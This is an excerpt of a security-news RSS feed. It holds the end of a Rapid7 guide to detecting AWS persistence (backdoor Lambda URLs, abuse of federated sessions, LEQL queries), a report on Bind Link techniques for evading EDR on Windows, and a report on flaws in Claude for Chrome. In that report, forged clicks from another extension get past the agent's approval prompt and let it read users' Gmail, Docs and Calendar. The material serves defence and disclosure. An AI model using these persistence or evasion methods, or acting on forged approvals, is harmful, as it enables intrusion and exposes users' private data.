      "functionArn": "arn:aws:lambda:us-east-1:123456789012:function:backdoor_function",
      "authType": "NONE",
      "cors": {
        "allowHeaders": [
          "*"
        ], 
        "allowMethods": [
          "GET",
          "POST"
        ], 
        "allowOrigins": [
          "*"
        ] 
      }
    }</pre><p><em>Listing 10: Example request and response elements of the </em><span data-type="inlineCode">lambda:CreateFunctionUrlConfig</span><em> function<br></em><em><br></em><span>Another way to trigger a Lambda function via a URL is to create an API Gateway endpoint and use </span><span><span data-type="inlineCode">apigateway:CreateIntegration</span></span><span> or </span><span><span data-type="inlineCode">apigateway:PutIntegration</span></span><span> to set the destination to a Lambda function. The action logged in Listing 7 creates an integration to trigger version 1 of a Lambda function named </span><span><span data-type="inlineCode">backdoor_lambda_function</span></span><span>. When investigating, it is important to check the content of the version of the Lambda function being triggered, as there may be legitimate-looking code in later versions used to hide malicious code.</span></p><p></p><pre language="html">  "eventSource": "apigateway.amazonaws.com",
    "eventName": "CreateIntegration",
    "awsRegion": "us-east-1",
    "requestParameters": {
      "integrationMethod": "GET",
      "integrationType": "AWS_PROXY",
      "payloadFormatVersion": "2.0",
      "integrationUri": "arn:aws:lambda:us-east-1:123456789012:function:backdoor_lambda_function:1",
      "apiId": "xxxxxxx"
    },</pre><p><em>Listing 11: Part of </em><span data-type="inlineCode">apigateway:CreateIntegration</span><em> CloudTrail log</em></p><p></p><p><span>There are various other ways the backdoor function may be implemented. For example, threat actors may use </span><span><span data-type="inlineCode">events:PutRule</span></span><span> to set up event-driven execution and then use </span><span><span data-type="inlineCode">events:PutTargets</span></span><span> to assign the Lambda function as a target. The function may then establish a backdoor and send credentials to attacker-controlled C2 servers.</span></p><h3>Suspicious Lambda function activity: Next steps</h3><p><span>This section contains recommended actions and investigation steps to take whenever InsightIDR highlights activity originating from a Lambda function as suspicious. During investigations, focus on answering the following questions:</span></p><ul><li><p><span>Is the Lambda function known and authorized?</span></p></li><li><p><span>What code invoked the suspicious activity?</span></p></li><li><p><span>Who created the Lambda function?</span></p></li><li><p><span>How was the Lambda function triggered?</span></p></li><li><p><span>What actions were performed by the function?</span></p></li></ul><p><span>The LEQL query shown in Listing 12 provides an example that displays successful actions performed by a Lambda function named </span><span><span data-type="inlineCode">malicious-function</span></span><span>, grouped by event source.</span></p><p></p><pre language="html">where(service = "cloudtrail" and source_json.userIdentity.arn ICONTAINS "/malicious-function" and source_json.errorCode != /.+/)groupby(source_json.eventSource, source_json.eventName)</pre><p><em>Listing 12: LEQL query showing an overview of actions performed by the Lambda function</em></p><p></p><p><span>Malicious activity performed by Lambda functions can originate from malicious code within the function or from the exploitation of a legitimate application. If malicious code is identified, the user who inserted it is likely to be compromised as well. The query in Listing 9 displays principal IDs and their associated API calls affecting the Lambda function, including the techniques described in this section and function invocation events (</span><span><span data-type="inlineCode">lambda:Invoke</span></span><span> API call).</span></p><p></p><pre language="html">where(service = "cloudtrail" and source_json.requestParameters.functionName,source_json.requestParameters.putIntegrationInput.uri, source_json.requestParameters.integrationUri, source_json.requestParameters.targets.arn ICONTAINS "malicious-function" and not source_json.userIdentity.invokedBy IIN ["resource-explorer-2.amazonaws.com", "config.amazonaws.com"])groupby(source_json.userIdentity.principalId, source_json.eventSource, source_json.eventName)</pre><p><em>Listing 13: LEQL query showing actions performed on the Lambda function</em></p><h2>Persistence technique: Federated user session creation</h2><p><span>Threat actors may use the Security Token Service (STS) API call to create a federated user session and maintain access to an AWS environment even after some standard containment actions have been completed. GetFederationToken returns a set of temporary security credentials for a federated user principal. The API call must be made using long-term IAM user credentials, which means activity from a federated user should always be investigated together with the IAM user that created the session.</span></p><p><span>This technique is especially important during incident response because disabling or deleting the original access key does not automatically invalidate temporary credentials that have already been issued. Those credentials remain usable until they expire, unless their effective permissions are blocked. As a result, responders should treat the federated session as a separate active identity and investigate both the session activity and the source IAM user activity.</span></p><p><span>The effective permissions of a federated user are based on the permissions available to the IAM user that requested the token and any session policies passed in the </span><span><span data-type="inlineCode">GetFederationToken</span></span><span> request. A session policy cannot grant permissions that the source IAM user does not already have. However, if the compromised IAM user is highly privileged, the resulting federated session may still provide broad access to the environment.</span></p><p><span>When InsightIDR alerts on suspicious activity performed by a federated user, the userIdentity field in CloudTrail may look similar to the example below:</span></p><p></p><pre language="json">"userIdentity": {
  "type": "FederatedUser",
  "principalId": "123456789012:None",
  "arn": "arn:aws:sts::123456789012:federated-user/None",
  "accountId": "123456789012",
  "accessKeyId": "ASIAS8T6L4RPJJGXXXX",
  "sessionContext": {
    "sessionIssuer": {
      "type": "IAMUser",
      "principalId": "AIDAIT67N6AB4IH6XXXXX",
      "arn": "arn:aws:iam::123456789012:user/compromisedUser",
      "accountId": "123456789012",
      "userName": "compromised_user"
    },
    "attributes": {
      "creationDate": "2026-04-11T09:13:11Z",
      "mfaAuthenticated": "false"
    }
  }
},</pre><p>Listing 13: <span data-type="inlineCode">userIdentity</span> field of an event performed by a federated user</p><p></p><p><span>In this example, the federated user name is </span><span><span data-type="inlineCode">None</span></span><span>, which comes from the name parameter supplied to STS. The </span><span><span data-type="inlineCode">sessionContext.sessionIssuer</span></span><span> field identifies the IAM user that created the federated session. This is the most important pivot point during the investigation because the source IAM user is likely to be compromised.</span></p><p><span>To review successful actions performed by the federated user, defenders can use the following LEQL query:</span></p><p></p><pre language="html">where(service = "cloudtrail" and source_json.userIdentity.arn = "arn:aws:sts::123456789012:federated-user/None" and source_json.errorCode != /.+/)groupby(source_json.eventSource, source_json.eventName)</pre><p><em>Listing 15: LEQL query showing all successful actions performed by the federated user</em></p><p></p><p><span>To focus on higher-signal activity, defenders can exclude common enumeration actions:</span></p><p></p><pre language="html">where(service = "cloudtrail" and source_json.userIdentity.arn = "arn:aws:sts::123456789012:federated-user/None" and source_json.errorCode != /.+/ and not source_json.eventName ISTARTS-WITH-ANY ["Get", "List", "Describe"])groupby(source_json.eventSource, source_json.eventName)</pre><p><em>Listing 16: LEQL query showing successful non-enumeration actions performed by the federated user</em></p><p><span></span></p><p><span>When reviewing actions performed by federated users, pay close attention to activity involving IAM, CloudTrail, GuardDuty, Organizations, KMS, Secrets Manager, S3, Lambda, and EC2. IAM activity is particularly important. Federated user credentials cannot call IAM APIs via AWS CLI and AWS API, but this limitation does not apply to AWS Management Console sessions. Therefore, successful IAM activity associated with a federated user may indicate that the threat actor generated console access by using the </span><span><span data-type="inlineCode">signin:GetSigninToken</span></span><span> and </span><span><span data-type="inlineCode">signin:ConsoleLogin</span></span><span> API sequence.</span></p><p><span>Defenders can review </span><span><span data-type="inlineCode">sts:GetFederationToken</span></span><span> calls to review federated tokens creations performed by the source user. The API calls may be further scoped down by adding </span><span><span data-type="inlineCode">source_json.responseElements.credentials.accessKeyId = “malicious_access_key”</span></span><span>, which will display the exact API call that was used to obtain the temporary token. This may be useful when determining Initial Access Vector, as the API call may contain the initially leaked long-term credentials.</span></p><p></p><pre language="html">where(service = "cloudtrail" and action = "GetFederationToken" and source_json.eventSource = "sts.amazonaws.com" and source_json.requestParameters.name = "None" and source_json.userIdentity.userName = "compromised_user")</pre><p><em>Listing 17: LEQL query showing the </em><span data-type="inlineCode">GetFederationToken</span><em> event that created the federated user credentials</em></p><p><span></span></p><p><span>During the investigation, responders should focus on answering the following questions:</span></p><ul><li><p><span>Which IAM user created the federated session?</span></p></li><li><p><span>What actions did the federated user perform after the token was issued?</span></p></li><li><p><span>Did the actor use the federated session to access the AWS Management Console?</span></p></li><li><p><span>Did the federated user create or modify additional persistence mechanisms?</span></p></li><li><p><span>What other suspicious activities were performed?</span></p></li></ul><p><span>When compromise is confirmed, Rapid7 recommends the following steps:</span></p><ul><li><p><span>Apply a deny-all policy to the IAM user that created the federated session. Keep the deny in place until the federated credentials have expired.</span></p></li><li><p><span>Rotate or delete all affected access keys associated with the compromised IAM user.</span></p></li><li><p><span>Remove any additional persistence that might have been created.</span></p></li></ul><h2>Summary</h2><p><span>AWS persistence often relies on abusing legitimate identity and automation features such as IAM users, access keys, assume role policies, Lambda functions, and federated user sessions. Many malicious activities are made possible by overly permissive policies, so organizations should regularly review IAM permissions, trust policies, and resource-based policies, and use Service Control Policies to enforce preventative guardrails across AWS accounts.</span></p><p><span>Effective detection and response requires pivoting from the alerted activity to related identities, credentials, sessions, policies, and resources to determine whether additional persistence exists. Rapid7 MDR provides comprehensive detection and incident response services to help organizations identify suspicious AWS activity, contain compromised identities, and harden cloud environments against repeat abuse.</span></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[New Windows Bind Link techniques let attackers evade EDR, security controls]]></title>
<description><![CDATA[Attackers who already have administrator privileges on a Windows machine have newer ways to slip past endpoint security without exploiting a vulnerable driver or modifying trusted binaries.



Bitdefender researchers have warned against three techniques that abuse Windows Bind Links, a legitimate...]]></description>
<link>https://tsecurity.de/de/3670748/it-security-nachrichten/new-windows-bind-link-techniques-let-attackers-evade-edr-security-controls/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670748/it-security-nachrichten/new-windows-bind-link-techniques-let-attackers-evade-edr-security-controls/</guid>
<pubDate>Wed, 15 Jul 2026 15:09:35 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Attackers who already have administrator privileges on a Windows machine have newer ways to slip past endpoint security without exploiting a vulnerable driver or modifying trusted binaries.</p>



<p class="wp-block-paragraph">Bitdefender researchers have warned against three techniques that abuse Windows Bind Links, a legitimate filesystem virtualization capability, to occupy security tools with clean files while malicious ones execute undetected.</p>



<p class="wp-block-paragraph">The techniques can be used “to blind EDR sensors and bypass built-in Windows defenses such as AMSI and AppLocker,” the researchers said in a blog post shared with CSO ahead of its publication on Wednesday. Dubbed File Binding, Process-Binding, and Silo-Binding, the techniques exploit the way Windows’ Bind Filter driver “bindflt.sys” redirects file paths in memory.</p>



<p class="wp-block-paragraph">While Microsoft reportedly assessed the issues as low severity because exploiting the techniques requires admin privileges, Bitdefender argued its importance by comparing the threat to Bring Your Own Vulnerable Driver (<a href="https://www.csoonline.com/article/3600750/infostealers-are-using-byovd-to-steal-critical-system-data.html">BYOVD</a>) attacks.</p>



<p class="wp-block-paragraph">Microsoft did not immediately respond to CSO’s request for comment.</p>



<h2 class="wp-block-heading"><a></a>Three attack paths from one weakness</h2>



<p class="wp-block-paragraph">Bitdefender’s research focused on Bind Links, a Windows feature designed for legitimate virtualization scenarios such as Windows Sandbox, Windows containers, and Store applications. Bind Links operate entirely within “bindflt.sys,” allowing one file path to transparently resolve to another without creating a visible filesystem object or modifying the original file.</p>



<p class="wp-block-paragraph">Bitdefender demonstrated how attackers can progressively weaponize this capability.</p>



<p class="wp-block-paragraph">The first technique, File-Binding, redirects trusted DLL or file paths to attacker-controlled replacements. The researchers showed PowerShell loading what appeared to be a legitimate amsi.dll, but the Bind Link instead served a malicious DLL that exported identical functions while silently disabling malware scanning.</p>



<p class="wp-block-paragraph">Process-Binding extends the concept to executable files. Here, the researchers said, Windows reports a trusted executable like “winever.exe” is running, while the operating system actually executes another binary, such as cmd.exe. Because many security products rely on executable paths for allowlisting, signatures, and process identity, the mismatch can trick both security policies and analysts.</p>



<p class="wp-block-paragraph">The most sophisticated of the three, Silo-Binding, leverages Windows silos, the isolation technology in Windows containers, to present different filesystem views inside and outside an isolated environment. The researchers demonstrated a potential malware executing inside the silo as a trusted application, while security tools operating outside the silo read them as legitimate files.</p>



<p class="wp-block-paragraph">Bitdefender demonstrated bypasses against <a href="https://www.csoonline.com/article/1311082/north-koreas-lazarus-deploys-rootkit-via-applocker-zero-day-flaw.html">AppLocker</a>, Windows Firewall, Sysmon, and even executed Invoke-Mimikatz under a trusted process identity to evade detection.</p>



<h2 class="wp-block-heading"><a></a>A potential post-compromise attack vector</h2>



<p class="wp-block-paragraph">Addressing Microsoft’s low-severity assessment, the researchers noted these techniques to be effective post-compromise evasion attacks, rather than a remote code execution vulnerability.</p>



<p class="wp-block-paragraph">“Every Windows 10 RS4+ and Windows 11 system is exposed once an attacker has administrator access on it,” they said. “Every AV and EDR that trusts the image-file path returned by standard process-notification routines is affected.”</p>



<p class="wp-block-paragraph">Bitdefender also disclosed a related privilege escalation scenario involving Docker Desktop, where members of the “docker-users” group could leverage Bind Links to reach SYSTEM privileges.</p>



<p class="wp-block-paragraph">Following the disclosure, Docker reportedly updated its documentation to clarify the security implications of the group’s permissions.</p>



<p class="wp-block-paragraph">While Windows 24H2 introduces a veto mechanism that can block bind-link creations, the researchers described it as only a partial mitigation because it is limited to newer systems, applies only in certain scenarios, and can be bypassed.</p>



<p class="wp-block-paragraph">Instead, they recommended resolving the real backing file rather than trusting process paths, revalidating file identity whenever a file is reopened for hashing or scanning, and enumerating active bind-link mappings to detect silo-scoped abuse.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[New bugs in Claude for Chrome allow extensions to abuse AI privileges]]></title>
<description><![CDATA[Two vulnerabilities found in Anthropic’s Claude for Chrome extension remain exploitable months after they were reported to the company, a research by Manifold Security noted.



According to the researchers, the flaws can allow a malicious browser extension to trigger Claude into performing privi...]]></description>
<link>https://tsecurity.de/de/3670562/it-security-nachrichten/new-bugs-in-claude-for-chrome-allow-extensions-to-abuse-ai-privileges/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670562/it-security-nachrichten/new-bugs-in-claude-for-chrome-allow-extensions-to-abuse-ai-privileges/</guid>
<pubDate>Wed, 15 Jul 2026 14:08:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Two vulnerabilities found in Anthropic’s Claude for Chrome extension remain exploitable months after they were reported to the company, a research by Manifold Security noted.</p>



<p class="wp-block-paragraph">According to the researchers, the flaws can allow a malicious browser extension to trigger Claude into performing privileged actions, including reading Gmail messages, Google Docs content, and Calendar entries on behalf of a user.</p>



<p class="wp-block-paragraph">In a new blog post, the researchers said the issues are reproducible in Claude for Chrome version 1.0.80, released on July 7, and remain unresolved eight releases after they were first reported in May.</p>



<p class="wp-block-paragraph">“Anthropic shipped v1.0.73 through v1.0.80 in the weeks following our report,” the researchers <a href="https://www.manifold.security/blog/claude-for-chrome-extension-bypass" target="_blank" rel="noreferrer noopener">added</a>. “The internal tracking issue covering this class of vulnerability was marked ‘resolved’ in the weeks following our report.”</p>



<p class="wp-block-paragraph">However, the content script and side-panel handlers in the latest version remain “byte-identical” to v1.0.72 the researchers originally tested. Researchers drew parallels with the earlier <a href="https://www.csoonline.com/article/4168867/claude-in-chrome-is-taking-orders-from-the-wrong-extensions.html">ClaudeBleed</a> disclosure, where the issue was found exploitable despite Anthropic announcing a fix.</p>



<p class="wp-block-paragraph">Anthropic did not immediately respond to CSO’s request for comment.</p>



<h2 class="wp-block-heading">Synthetic clicks trick trusted AI</h2>



<p class="wp-block-paragraph">The first vulnerability stems from how Claude for Chrome handles user interaction before executing privileged actions. According to Manifold, the extension’s click handler does not verify whether an approval click originated from a real user through the browser’s “event.isTrusted” property.</p>



<p class="wp-block-paragraph">Meaning, another browser extension capable of injecting scripts into Claude.ai can generate synthetic clicks that Claude accepts as legitimate.</p>



<p class="wp-block-paragraph">In default configurations, the attack can automatically trigger one of Claude’s predefined browser tasks before presenting an approval dialog. However, if users have enabled the extension’s “Act without asking” mode, Claude may execute those actions silently, allowing an attacker to retrieve Gmail content, Google Docs data, or Calendar information, the researcher noted.</p>



<p class="wp-block-paragraph">Rather than exploiting a flaw in Chrome itself, the attack abuses the trust placed in <a href="https://www.csoonline.com/article/4154201/claude-code-is-still-vulnerable-to-an-attack-anthropic-has-already-fixed-2.html">Claude </a>as an authorized browser agent. Manifold demonstrated an exploit in six lines of JavaScript.</p>



<p class="wp-block-paragraph">The researchers said the flaw can simply be fixed with one added line, “if (!n.isTrusted) return;” at the top of the click handler.</p>



<h2 class="wp-block-heading"><a></a>A problematic privilege mode</h2>



<p class="wp-block-paragraph">The second finding focuses on how Claude’s side panel initializes its permission model.</p>



<p class="wp-block-paragraph">Manifold found that loading the panel with “?skipPermissions=true” parameter makes the extension enter a privileged mode meant to bypass repeated confirmation prompts. While the researchers did not identify a direct external path to control this parameter today, they argued that the design creates a latent security risk because privileged behavior depends on a URL value rather than user-controlled inputs.</p>



<p class="wp-block-paragraph">Any future vulnerability capable of influencing that parameter could inherit elevated privileges without requiring additional security checks, the researchers noted.</p>



<p class="wp-block-paragraph">To address both findings, Manifold recommends validating genuine user interactions before executing privileged actions, avoiding URL-driven privilege transitions, and strengthening the authentication of internal extension workflows.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026.6.1]]></title>
<description><![CDATA[ImportantThis release applies to self-hosted deployments. Cloud web remains on the previous stable release, and the Cloud Desktop App release is deferred, while the personal-workspace data-loss issue (#6483) is being addressed.

This patch release resolves a Desktop App login loop when signing in...]]></description>
<link>https://tsecurity.de/de/3670447/downloads/202661/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670447/downloads/202661/</guid>
<pubDate>Wed, 15 Jul 2026 13:17:06 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="markdown-alert markdown-alert-important"><p class="markdown-alert-title"><svg data-component="Octicon" class="octicon octicon-report mr-2" viewbox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v9.5A1.75 1.75 0 0 1 14.25 13H8.06l-2.573 2.573A1.458 1.458 0 0 1 3 14.543V13H1.75A1.75 1.75 0 0 1 0 11.25Zm1.75-.25a.25.25 0 0 0-.25.25v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25Zm7 2.25v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 9a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg>Important</p><p>This release applies to self-hosted deployments. Cloud web remains on the previous stable release, and the Cloud Desktop App release is deferred, while the personal-workspace data-loss issue (<a href="https://github.com/hoppscotch/hoppscotch/issues/6483" data-hovercard-type="issue" data-hovercard-url="/hoppscotch/hoppscotch/issues/6483/hovercard">#6483</a>) is being addressed.</p>
</div>
<p>This patch release resolves a Desktop App login loop when signing in to self-hosted instances, adds support for running containers under arbitrary non-root user IDs, and enables response-cookie capture for Agent-routed requests, alongside a lighter JSON response renderer.</p>
<h2>What's Changed</h2>
<ul>
<li>feat: allow containers to run with arbitrary non-root UIDs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mirarifhasan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mirarifhasan">@mirarifhasan</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4784576502" data-permission-text="Title is private" data-url="https://github.com/hoppscotch/hoppscotch/issues/6481" data-hovercard-type="pull_request" data-hovercard-url="/hoppscotch/hoppscotch/pull/6481/hovercard" href="https://github.com/hoppscotch/hoppscotch/pull/6481">#6481</a></li>
<li>fix: desktop login loop caused by empty auth cookies by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CuriousCorrelation/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CuriousCorrelation">@CuriousCorrelation</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4870552739" data-permission-text="Title is private" data-url="https://github.com/hoppscotch/hoppscotch/issues/6502" data-hovercard-type="pull_request" data-hovercard-url="/hoppscotch/hoppscotch/pull/6502/hovercard" href="https://github.com/hoppscotch/hoppscotch/pull/6502">#6502</a></li>
<li>fix: bump <code>relay</code> for agent response-cookie capture and pin fork revisions by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CuriousCorrelation/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CuriousCorrelation">@CuriousCorrelation</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4836632360" data-permission-text="Title is private" data-url="https://github.com/hoppscotch/hoppscotch/issues/6496" data-hovercard-type="pull_request" data-hovercard-url="/hoppscotch/hoppscotch/pull/6496/hovercard" href="https://github.com/hoppscotch/hoppscotch/pull/6496">#6496</a></li>
<li>fix(common): lazy-load <code>jq-wasm</code> in the JSON lens renderer by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hassams/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hassams">@hassams</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4730035488" data-permission-text="Title is private" data-url="https://github.com/hoppscotch/hoppscotch/issues/6463" data-hovercard-type="pull_request" data-hovercard-url="/hoppscotch/hoppscotch/pull/6463/hovercard" href="https://github.com/hoppscotch/hoppscotch/pull/6463">#6463</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hassams/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hassams">@hassams</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4730035488" data-permission-text="Title is private" data-url="https://github.com/hoppscotch/hoppscotch/issues/6463" data-hovercard-type="pull_request" data-hovercard-url="/hoppscotch/hoppscotch/pull/6463/hovercard" href="https://github.com/hoppscotch/hoppscotch/pull/6463">#6463</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/hoppscotch/hoppscotch/compare/2026.6.0...2026.6.1"><tt>2026.6.0...2026.6.1</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Open Source Agent Toolkit in 2026]]></title>
<description><![CDATA[The following article originally appeared on Paolo Perrone’s Substack, The AI Engineer, and is being republished here with the author’s permission. You spent three weeks shipping an agent. It worked in the demo. Then production hit, and you realized the framework you picked has no checkpointing, ...]]></description>
<link>https://tsecurity.de/de/3670208/ai-nachrichten/the-open-source-agent-toolkit-in-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670208/ai-nachrichten/the-open-source-agent-toolkit-in-2026/</guid>
<pubDate>Wed, 15 Jul 2026 11:49:24 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The following article originally appeared on Paolo Perrone’s Substack, The AI Engineer, and is being republished here with the author’s permission. You spent three weeks shipping an agent. It worked in the demo. Then production hit, and you realized the framework you picked has no checkpointing, the memory layer is a flat vector dump with […]]]></content:encoded>
</item>
</channel>
</rss>
<!-- Generated in 0,85ms -->